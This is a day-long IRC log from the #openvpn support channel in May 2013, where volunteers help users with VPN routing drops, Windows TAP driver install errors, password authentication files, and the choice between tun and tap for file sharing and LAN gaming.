23:29 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
23:45 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
--- Day changed Wed May 08 2013
00:20 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
00:23 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
00:24 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
00:40 -!- mitz_ [~mitz@219.143.36.82] has quit [Quit: WeeChat 0.4.0]
00:45 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
00:48 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Read error: Operation timed out]
00:53 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
01:21 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 258 seconds]
01:22 -!- c|oneman [cloneman@2605:6400:2:fed5:22:0:4ae3:5ea7] has quit [Ping timeout: 258 seconds]
01:23 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:29 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
01:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
01:32 < t35guy> Hi, I'm having a problem with openvpn. After connecting to my VPN and checking my IP, it is some IP in another country, but later on, maybe an hour later, I check my IP and it says my real IP address even though openvpn is still running and saying its "connected". Here are my logs with verb = 6, I think my problem happened at 6:54 http://pastebin.com/JnmZtW9C
01:33 -!- t35guy1 [~Andrew@63.142.161.16] has joined #openvpn
01:37 -!- t35guy [~Andrew@63.142.161.3] has quit [Ping timeout: 248 seconds]
01:48 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 252 seconds]
01:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:15 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Excess Flood]
02:16 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
02:25 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 260 seconds]
02:32 -!- t35guy [~Andrew@63.142.161.5] has joined #openvpn
02:33 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
02:35 -!- t35guy1 [~Andrew@63.142.161.16] has quit [Ping timeout: 248 seconds]
02:46 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Quit: Using ZNC - http://znc.sourceforge.net]
02:48 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
02:57 -!- t35guy1 [~Andrew@63.142.161.8] has joined #openvpn
03:01 -!- t35guy [~Andrew@63.142.161.5] has quit [Ping timeout: 248 seconds]
03:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:03 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 252 seconds]
03:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:17 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:17 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Client Quit]
03:17 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:21 -!- mitz [~mitz@219.143.36.82] has joined #openvpn
03:26 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:26 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:29 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
03:31 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 252 seconds]
03:32 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
03:32 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
03:34 -!- p3rror [~p3rror@41.140.99.181] has joined #openvpn
03:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:58 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
04:07 -!- brad` [~brad@ninja.so] has joined #openvpn
04:07 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
04:09 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
04:12 -!- mnice_ [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
04:12 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
04:12 -!- mode/#openvpn [+o krzie] by ChanServ
04:13 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:14 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-nmucehajlgwmxdjz] has joined #openvpn
04:14 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xkoujxjhwrggvdbe] has quit [Ping timeout: 256 seconds]
04:14 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 256 seconds]
04:14 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
04:14 -!- Denial- is now known as Denial
04:15 -!- Netsplit *.net <-> *.split quits: ele, Rallias, brad, kantlivelong, gardar
04:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
04:15 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
04:15 -!- riddle [riddle@us.yunix.net] has joined #openvpn
04:15 < pppingme> t35guy1 maybe it dropped and reconnected and didn't push a default route, what does your route table look like?
04:16 -!- Netsplit over, joins: Rallias
04:17 -!- HectorBarbossa_ is now known as HectorBarbossa
04:18 -!- takamichi [~takamichi@83.170.117.176] has joined #openvpn
04:19 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
04:21 -!- Netsplit *.net <-> *.split quits: jgeboski, mnice, @krzee, qwertyoruiop
04:21 -!- krzie is now known as krzee
04:21 -!- qwertyoruiop_ is now known as qwertyoruiop
04:25 -!- takamichi [~takamichi@83.170.117.176] has quit [Ping timeout: 260 seconds]
04:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:02 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
05:12 -!- t35guy [~Andrew@63.142.161.9] has joined #openvpn
05:12 < t35guy> pppingme: where do I see my route table?
05:15 -!- t35guy1 [~Andrew@63.142.161.8] has quit [Ping timeout: 248 seconds]
05:16 < jzaw> t35guy, ip r
05:16 < jzaw> or netstat -rn
05:31 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:54 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 276 seconds]
05:59 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:00 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
06:07 -!- spb [~stephen@freenode/developer/exherbo.spb] has joined #openvpn
06:12 -!- mitz [~mitz@219.143.36.82] has quit [Ping timeout: 245 seconds]
06:16 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:17 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
06:24 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
06:26 -!- yes_understand [~chatzilla@37.227.135.128] has joined #openvpn
06:28 < yes_understand> Hello, i tried to install openvpn on a Win7 Pro 64Bit machine and get a Tap-install error - is any openvpn-on-windows expert online?
06:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 268 seconds]
06:41 < yes_understand> I post the significant (in my opinion) lines in setupapi.dev log hoping
06:41 < yes_understand> somebody can figure out what went wrong
06:41 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
06:41 < yes_understand> if more info is needed i will be pleased to submit the entire log or any other
06:41 < yes_understand> info needed!
06:41 < yes_understand> ! sig: Verifying file against specific (valid) catalog failed! (0x800b0109)
06:41 < yes_understand> ! inf: Empty Section! [tap0901.files]
06:41 < yes_understand> ! sig: VerifyTrustFailed for C:\Windows\system32\DRIVERS\tap0901.sys.
06:41 < yes_understand> !!! cci: NdisCoinst: NcipAllocateNetLuidIndex failed with error 0x5aa
06:41 < yes_understand> !!! dvi: CoInstaller 1: failed(0x000005aa)!
06:41 <@vpnHelper> You've given me 5 invalid commands within the last minute; I'm now ignoring you for 10 minutes.
06:41 < yes_understand> dvi: {DIF_INSTALLDEVICE - exit(0x000005aa)} 16:57:27.125
06:41 < yes_understand> !!! ndv: Error(000005aa) installing device!
06:41 < yes_understand> ndv: Device install status=0x000005aa
06:41 < yes_understand> ndv: Performing device install final cleanup...
06:41 < yes_understand> ! ndv: Queueing up error report since device installation failed...
06:41 < yes_understand> ndv: {Core Device Install - exit(0x000005aa)} 16:57:27.125
06:41 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
06:43 -!- Devastator [~devas@177.18.199.9] has joined #openvpn
06:44 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
06:46 -!- yes_understand [~chatzilla@37.227.135.128] has quit [Ping timeout: 260 seconds]
06:51 -!- yes_understand [~chatzilla@31.189.194.183] has joined #openvpn
06:53 < yes_understand> !goal
06:53 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:54 -!- brute11k [~brute@89.249.235.121] has joined #openvpn
07:01 < yes_understand> !logs
07:01 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:05 -!- brute11k1 [~brute@89.249.235.121] has joined #openvpn
07:06 -!- brute11k2 [~brute@89.249.235.121] has joined #openvpn
07:07 -!- brute11k [~brute@89.249.235.121] has quit [Ping timeout: 252 seconds]
07:09 -!- brute11k1 [~brute@89.249.235.121] has quit [Ping timeout: 252 seconds]
07:12 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
07:14 -!- mylittlekony [~flutty@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
07:15 -!- mylittlekony [~flutty@2a02:21a8:1:252::ca7f:97f8] has quit [Client Quit]
07:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-arfdvfwfztugcqqo] has quit [Ping timeout: 252 seconds]
07:16 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
07:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-qvsxmuqlprtjxsiu] has joined #openvpn
07:20 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:22 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
07:37 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
07:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:41 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:43 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
07:45 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
07:48 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:50 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
07:54 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Quit: Leaving]
08:00 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has joined #openvpn
08:13 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:17 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
08:21 -!- Devastator [~devas@177.18.199.9] has quit [Changing host]
08:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:28 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 255 seconds]
08:35 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
08:36 < srg> Hi. I'm trying to connect to a remote OpenVPN server. The server is not run by me. It uses a username/password to connect. I can't figure out how to auth using the user and password. I tried and openvpn said "auth password cannot be read from a file"
08:39 < pekster> srg: See --auth-user-pass in the manpage. You basically have 3 options: supply the credientails by stdin on startup, use the --management interface, or use a file. You need to build openvpn with enable_password_save=yes during the build for the last (file-based) option to work
08:39 < srg> hm, i guess I'll have to rebuild it
08:40 < srg> thanks
08:42 -!- yes_understand [~chatzilla@31.189.194.183] has quit [Ping timeout: 260 seconds]
08:49 -!- yes_understand [~chatzilla@31.191.232.4] has joined #openvpn
08:54 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
08:58 -!- yes_understand [~chatzilla@31.191.232.4] has quit [Ping timeout: 260 seconds]
09:04 -!- srg [U2FsdGVkX1@unaffiliated/srg] has left #openvpn [":wq"]
09:06 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:07 -!- brute11k2 [~brute@89.249.235.121] has quit [Read error: Connection reset by peer]
09:08 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
09:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
09:14 -!- kantlive- [~kantlivel@home.kantlivelong.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:15 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
09:19 -!- brute11k [~brute@89.249.235.121] has joined #openvpn
09:21 -!- p3rror [~p3rror@41.140.99.181] has quit [Ping timeout: 248 seconds]
09:25 -!- t35guy1 [~Andrew@63.142.161.2] has joined #openvpn
09:28 -!- t35guy [~Andrew@63.142.161.9] has quit [Ping timeout: 248 seconds]
09:41 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
09:41 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
09:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:48 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
09:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
09:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
09:55 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:55 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:59 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:00 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
10:01 -!- CEnnis91_ is now known as CEnnis91
10:02 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
10:04 -!- yes_understand [~chatzilla@2.157.15.46] has joined #openvpn
10:06 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:13 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
10:20 -!- raidz_away is now known as raidz
10:21 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
10:22 < suprsonic> is there a godo document that illustrates the routing of the tun drivers used with openvpn?
10:23 < pekster> Routing is handled by your OS, not within the "tun driver"
10:23 < pekster> !route
10:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:23 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:23 <@vpnHelper> behind the server or client
10:24 < pekster> See also !howto if you want a more basic overview to setting up openvpn
10:24 < suprsonic> I'll take a look thanks!
10:26 -!- brad` [~brad@ninja.so] has quit [Remote host closed the connection]
10:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
10:36 -!- brad` [~brad@ninja.so] has joined #openvpn
10:36 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
10:38 -!- brad` is now known as brad
10:40 -!- yes_understand [~chatzilla@2.157.15.46] has quit [Read error: Connection reset by peer]
10:40 -!- yes_understand [~chatzilla@2.157.15.46] has joined #openvpn
10:49 -!- yes_understand [~chatzilla@2.157.15.46] has quit [Ping timeout: 252 seconds]
10:52 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:56 -!- yes_understand [~chatzilla@37.101.171.194] has joined #openvpn
11:03 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:04 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
11:14 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
11:15 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
11:21 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
11:22 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
11:22 -!- yes_understand [~chatzilla@37.101.171.194] has quit [Read error: Connection reset by peer]
11:59 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
12:03 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
12:03 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
12:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
12:10 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
12:10 -!- mode/#openvpn [+o krzee] by ChanServ
12:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
12:33 -!- p3rror [~p3rror@41.140.99.181] has joined #openvpn
13:01 -!- unicorn [~p3rror@41.248.172.203] has joined #openvpn
13:04 -!- p3rror [~p3rror@41.140.99.181] has quit [Ping timeout: 264 seconds]
13:09 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
13:10 -!- Sarah- is now known as Sarah
13:10 -!- Sarah [~Sarah@astersoftworks.com] has quit [Changing host]
13:10 -!- Sarah [~Sarah@april-fools/ninth/aster] has joined #openvpn
13:31 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
13:34 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Client Quit]
13:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:38 -!- pc_ [~pc@190.3.227.75] has joined #openvpn
13:39 -!- pc_ [~pc@190.3.227.75] has quit [Client Quit]
13:40 -!- ele_ is now known as ele
13:54 -!- brute11k [~brute@89.249.235.121] has quit [Read error: Connection reset by peer]
13:56 -!- brute11k [~brute@89.249.235.121] has joined #openvpn
14:00 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
14:04 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has quit [Ping timeout: 246 seconds]
14:25 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has joined #openvpn
14:34 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
14:35 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
14:54 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
15:00 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
15:09 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has quit [Ping timeout: 256 seconds]
15:19 -!- mback2k_ [sbnc@89.238.84.46] has quit [Remote host closed the connection]
15:27 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
15:33 < t35guy1> Hi, I'm having a problem with openvpn. After connecting to my VPN and checking my IP, it is some IP in another country, but later on, maybe an hour later, I check my IP and it says my real IP address even though openvpn is still running and saying its "connected". Here are my logs with verb = 6, I think my problem happened at 6:54 http://pastebin.com/JnmZtW9C
15:38 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
15:41 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
15:41 -!- unicorn [~p3rror@41.248.172.203] has quit [Quit: Leaving]
15:44 -!- novaflash is now known as novaflash_away
15:47 < pekster> t35guy1: The log line for "Connection reset by peer" causes a reset (due to a tcp RESET packet) causing a restart. Routes appear to have come up normally after that. In the future, please stick to --verb 4 as levels 6 and up are for developers doing debugging and make your logs hard to read. Also avoid use of --mute whe you're seeking help as it too makes logs hard to read
15:50 -!- novaflash_away is now known as novaflash
15:50 -!- novaflash is now known as Johan
15:50 -!- Johan is now known as novaflash
15:50 < pekster> More interesting would be to know why the server reset your connection; what's the server log say for that timeframe?
15:51 -!- novaflash is now known as Johan
15:51 < t35guy1> pekster: is the server log somewhere in the openvpn folder?
15:51 -!- Johan is now known as Guest25647
15:51 < pekster> On the server?
15:52 -!- Guest25647 is now known as novaflash
15:52 < pekster> Oh, nevermind, a stupid provider. Well, I can't tell you why their service rejected the connection; go ask them
15:53 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
15:53 -!- t35guy [~Andrew@63.142.161.18] has joined #openvpn
15:56 -!- t35guy1 [~Andrew@63.142.161.2] has quit [Ping timeout: 248 seconds]
15:59 -!- novaflash is now known as novaflash_away
15:59 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has joined #openvpn
16:00 -!- novaflash_away is now known as novaflash
16:07 -!- pjschmitt [~parker@unaffiliated/schmitt953] has joined #openvpn
16:07 < pjschmitt> do you know of any problems with openvpn and sonicwall's deep packet inspection
16:07 < pjschmitt> trying to convince someone they should use openvpn instead of doing it on the sonicwall
16:07 < pjschmitt> they're saying they'll lose the deep packet inspection
16:09 < pekster> Not quite sure what you're asking. Smart DPI can block openvpn if it wants to, at least in TLS mode (like any TLS connection there's an identifiable handshake.) openvpn also runs in static key mode, but that's not quite the same thing
16:09 < pekster> s/runs in/has a/
16:28 < pjschmitt> idk if sonicwall does, or how configurable that is
16:29 < pjschmitt> if it's configurable in the right way I guess I could use DPI to make it only allow openvpn traffic
16:41 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 245 seconds]
16:46 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 255 seconds]
16:47 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
16:51 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
16:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
16:54 -!- t35guy1 [~Andrew@63.142.161.18] has joined #openvpn
16:56 -!- t35guy [~Andrew@63.142.161.18] has quit [Ping timeout: 245 seconds]
16:58 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
17:00 < i7c> what would be the most convenient way to add a route before connecting? (i have no standard route on my machine and i want to add a route to the vpn server before connecting)
17:07 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
17:11 -!- brute11k1 [~brute@89.249.235.121] has joined #openvpn
17:13 -!- brute11k [~brute@89.249.235.121] has quit [Ping timeout: 252 seconds]
17:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
17:24 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:24 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:24 -!- dazo_afk is now known as dazo
17:37 < EugeneKay> i7c - your init script; the ones provided in the RHEL & kin packages will automagically execute /etc/openvpn/foo.sh before starting /etc/openvpn/foo.conf
17:37 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
17:38 < i7c> i'm using systemd :o
17:38 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:38 < EugeneKay> Well, figure something out
17:38 < i7c> yeh, i got the idea
17:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:38 < i7c> thx
17:47 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
17:48 -!- exed [~maximus@host-188-174-195-34.customer.m-online.net] has joined #openvpn
17:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
17:53 -!- exed [~maximus@host-188-174-195-34.customer.m-online.net] has quit [Ping timeout: 256 seconds]
17:56 -!- t35guy [~Andrew@63.142.161.7] has joined #openvpn
17:59 -!- t35guy1 [~Andrew@63.142.161.18] has quit [Ping timeout: 276 seconds]
18:04 -!- raidz is now known as raidz_away
18:07 -!- raidz_away is now known as raidz
18:10 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
18:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 276 seconds]
18:30 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
18:33 -!- vandemar [spin@nginx/adept/vandemar] has left #openvpn []
18:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:49 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:49 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
18:51 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Client Quit]
18:54 -!- Jofironses [~kvirc@177.111.43.160] has joined #openvpn
18:54 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
19:06 < Jofironses> Hello, I'm having trouble setting up openvpn. It seems to connect just fine "Initialization Sequence Completed". Still I don't seem to get an IP. Here are my configs, both client and server: http://pastebin.com/m9EY40CP http://pastebin.com/yPKS42vE
19:12 -!- t35guy1 [~Andrew@63.142.161.6] has joined #openvpn
19:13 -!- t35guy [~Andrew@63.142.161.7] has quit [Ping timeout: 245 seconds]
19:13 < pekster> Jofironses: Any reason you're bridging? That adds complication and extra failure modes (like not getting an IP if your DHCP server doesn't reply.) That said, do you even see the DHCP request on the LAN system?
19:14 < pekster> ALso note, that you'll likely end up with routing problems in that setup if your DHCP server hands the connecting client a gateway and it applies the gateway overriding the route to the host itself
19:14 < pekster> (that is one of many reasons why briding like this is usually a bad idea)
19:14 < Jofironses> pekster: I need it for samba and file distribution. I did not check dhcp, will do it right away.
19:14 < pekster> You don't need it for CIFS/SMB to work, no
19:15 < Jofironses> Really? How should I do it then?
19:15 < pekster> !tunortap
19:15 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
19:15 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
19:15 < pekster> You don't even need WINS in your environment; CIFS already will work. If you want name resolution, setting up DNS will generally be less painful
19:27 < Jofironses> pekster: Thanks for the help :) I just found out the dhcp server is not passing any ip to the client. And my reason for openvpn falls into the cases (#3) windows shares and (#4) lan gaming. So I suppose I will still have to stick with tap
19:27 < pekster> Depends on the game
19:27 < pekster> Most games today work fine in a routed environment
19:28 < pekster> Sometimes "LAN discovery" services use broadcasts, but generally all the game's actual content traffic is unicast
19:28 < Jofironses> I see, so the only trouble would be with broadcasts?
